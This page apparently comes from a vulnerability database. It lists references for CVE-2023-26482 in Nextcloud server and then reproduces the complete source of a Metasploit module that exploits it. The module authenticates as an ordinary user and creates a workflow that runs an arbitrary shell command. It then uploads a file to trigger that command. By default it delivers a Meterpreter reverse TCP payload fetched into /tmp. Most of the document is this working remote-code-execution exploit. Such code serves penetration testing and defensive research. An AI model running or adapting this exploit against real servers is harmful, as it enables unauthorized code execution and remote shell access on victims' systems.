| Reporter | Title | Published | Views | Family All 21 |
|---|---|---|---|---|
| CVE-2023-26482 | 30 Mar 202322:35 | – | circl | |
| Nextcloud 操作系统命令注入漏洞 | 30 Mar 202300:00 | – | cnnvd | |
| CVE-2023-26482 | 30 Mar 202318:27 | – | cve | |
| CVE-2023-26482 Scope of workflow operations is not validated in nextcloud server | 30 Mar 202318:27 | – | cvelist | |
| Scope of workflow operations is not validated | 30 Mar 202308:18 | – | nextcloud | |
| Nextcloud Workflows Remote Code Execution | 15 May 202518:53 | – | metasploit | |
| CVE-2023-26482 | 30 Mar 202319:15 | – | nvd | |
| Nextcloud Server 24.x < 24.0.10, 25.x < 25.0.4 Multiple Vulnerabilities (GHSA-h3c9-cmh8-7qpj, GHSA-ch7f-px7m-hg25, GHSA-5w64-6c42-rgcv, GHSA-7w2p-rp9m-9xp9) | 3 Apr 202300:00 | – | openvas | |
| CVE-2023-26482 Scope of workflow operations is not validated in nextcloud server | 30 Mar 202318:27 | – | osv | |
| Design/Logic Flaw | 30 Mar 202319:15 | – | prion |
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Retry
def initialize(info = {})
@token = nil
super(
update_info(
info,
'Name' => 'Nextcloud Workflows Remote Code Execution',
'Description' => %q{
This module adds workflows as an authenticated user
which can only be created by administrators by design.
If the app "Nextcloud Workflow Script" is installed it
is possible to generate a workflow that executes commands.
},
'License' => MSF_LICENSE,
'Author' => [
'Enis Maholli', # Discovery
'arianitisufi', # Discovery
'Armend Gashi', # Discovery
'whotwagner' # Metasploit Module
],
'References' => [
['URL', 'https://github.com/nextcloud/security-advisories/security/advisories/GHSA-h3c9-cmh8-7qpj'],
['CVE', '2023-26482']
],
'Platform' => %w[linux unix],
'Targets' => [
[
'nix Command',
{
'Platform' => %w[unix linux],
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/linux/http/x64/meterpreter/reverse_tcp',
'FETCH_WRITABLE_DIR' => '/tmp'
}
}
],
],
'Privileged' => false,
'DisclosureDate' => '2023-03-30',
'DefaultOptions' => { 'WfsDelay' => 16.minutes.seconds.to_i },
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
}
)
)
register_options(
[
OptString.new('TARGETURI', [true, 'Path to nextcloud', '/']),
OptString.new('USERNAME', [true, 'The username to authenticate as']),
OptString.new('PASSWORD', [true, 'The password to authenticate with'])
]
)
end
def parse_token(res)
return if res.nil?
if defined? res.get_html_document&.at('//head/@data-requesttoken')&.value
Rex::Text.uri_encode(res.get_html_document.at('//head/@data-requesttoken').value)
else
print_error('token not found')
nil
end
end
def authenticate(user, pass)
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'login'),
'method' => 'GET',
'keep_cookies' => true
)
fail_with(Failure::UnexpectedReply, 'Getting login page failed') if res&.code != 200
@token = parse_token(res)
fail_with(Failure::UnexpectedReply, 'Request Token not found') if @token.nil?
data = "user=#{user}&password=#{pass}&requesttoken=#{@token}"
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'login'),
'method' => 'POST',
'data' => data.to_s,
'keep_cookies' => true
)
fail_with(Failure::NoAccess, 'Login failed') if res.nil? || res.code == 401
end
def request_token
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'csrftoken'),
'method' => 'GET',
'keep_cookies' => true
)
fail_with(Failure::UnexpectedReply, 'Getting login page failed') if res&.code != 200
@token = res.get_json_document['token']
fail_with(Failure::UnexpectedReply, '2: Request Token not found') if @token.nil?
end
def create_workflow(operation)
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'ocs/v2.php/apps/workflowengine/api/v1/workflows/user'),
'method' => 'POST',
'headers' => { 'requesttoken' => @token, 'Content-Type' => 'application/json' },
'vars_get' => { 'format' => 'json' },
'data' => {
'id' => -1743078702939,
'class' => 'OCA\\WorkflowScript\\Operation',
'entity' => 'OCA\\WorkflowEngine\\Entity\\File',
'events' => ['\\OCP\\Files::postCreate', '\\OCP\\Files::postWrite', '\\OCP\\Files::postTouch'],
'name' => '',
'checks' => [
{
'class' => 'OCA\\WorkflowEngine\\Check\\FileName',
'operator' => 'matches',
'value' => '/.*/',
'invalid' => false
}
],
'operation' => operation,
'valid' => true
}.to_json,
'keep_cookies' => true
)
fail_with(Failure::NoAccess, 'Login failed') unless res&.code == 200
json_data = res.get_json_document
flow_id = json_data.dig('ocs', 'data', 'id')
flow_id
end
def upload_file(filename)
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, "remote.php/webdav/#{filename}"),
'method' => 'PUT',
'headers' => { 'requesttoken' => @token, 'Content-Type' => 'text/plain ' }
)
fail_with(Failure::UnexpectedReply, 'Unable to upload file') unless res&.message == 'Created'
end
def delete_workflow(workflow_id)
send_request_cgi(
'uri' => normalize_uri(target_uri.path, "ocs/v2.php/apps/workflowengine/api/v1/workflows/user/#{workflow_id}"),
'vars_get' => { 'format' => 'json' },
'method' => 'DELETE',
'headers' => { 'requesttoken' => @token, 'Content-Type' => 'application/json' },
'keep_cookies' => true
)
end
def delete_file(user, filename)
send_request_cgi(
'uri' => normalize_uri(target_uri.path, "remote.php/dav/files/#{user}/#{filename}"),
'method' => 'DELETE',
'headers' => { 'requesttoken' => @token, 'Content-Type' => 'text/plain ' }
)
end
def check
# For the check command
cookie_jar.clear
authenticate(datastore['USERNAME'], datastore['PASSWORD'])
request_token
flow_id = create_workflow('sleep 1')
Exploit::CheckCode::Safe('Target is not vulnerable') if flow_id.nil?
delete_workflow(flow_id)
Exploit::CheckCode::Vulnerable
end
def exploit
# Main function
cookie_jar.clear
authenticate(datastore['USERNAME'], datastore['PASSWORD'])
request_token
case target['Type']
when :unix_cmd
execute_command(payload.encoded)
end
end
def execute_command(cmd, _opts = {})
print_status('Sending payload..')
@temp_filename = "#{Rex::Text.rand_text_alpha(5..10)}..txt"
@flow_id = create_workflow(cmd.to_s)
fail_with(Failure::UnexpectedReply, 'Unable to create workflow') if @flow_id.nil?
print_good('Workflow created')
upload_file(@temp_filename)
end
def need_cleanup?
defined?(@temp_filename) && @temp_filename
end
def cleanup
super
return unless need_cleanup?
print_status('Cleaning up')
delete_workflow(@flow_id) if defined?(@flow_id) && @flow_id
delete_file(datastore['USERNAME'], @temp_filename) if defined?(@temp_filename) && @temp_filename
@flow_id = nil
@temp_filename = nil
end
endData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation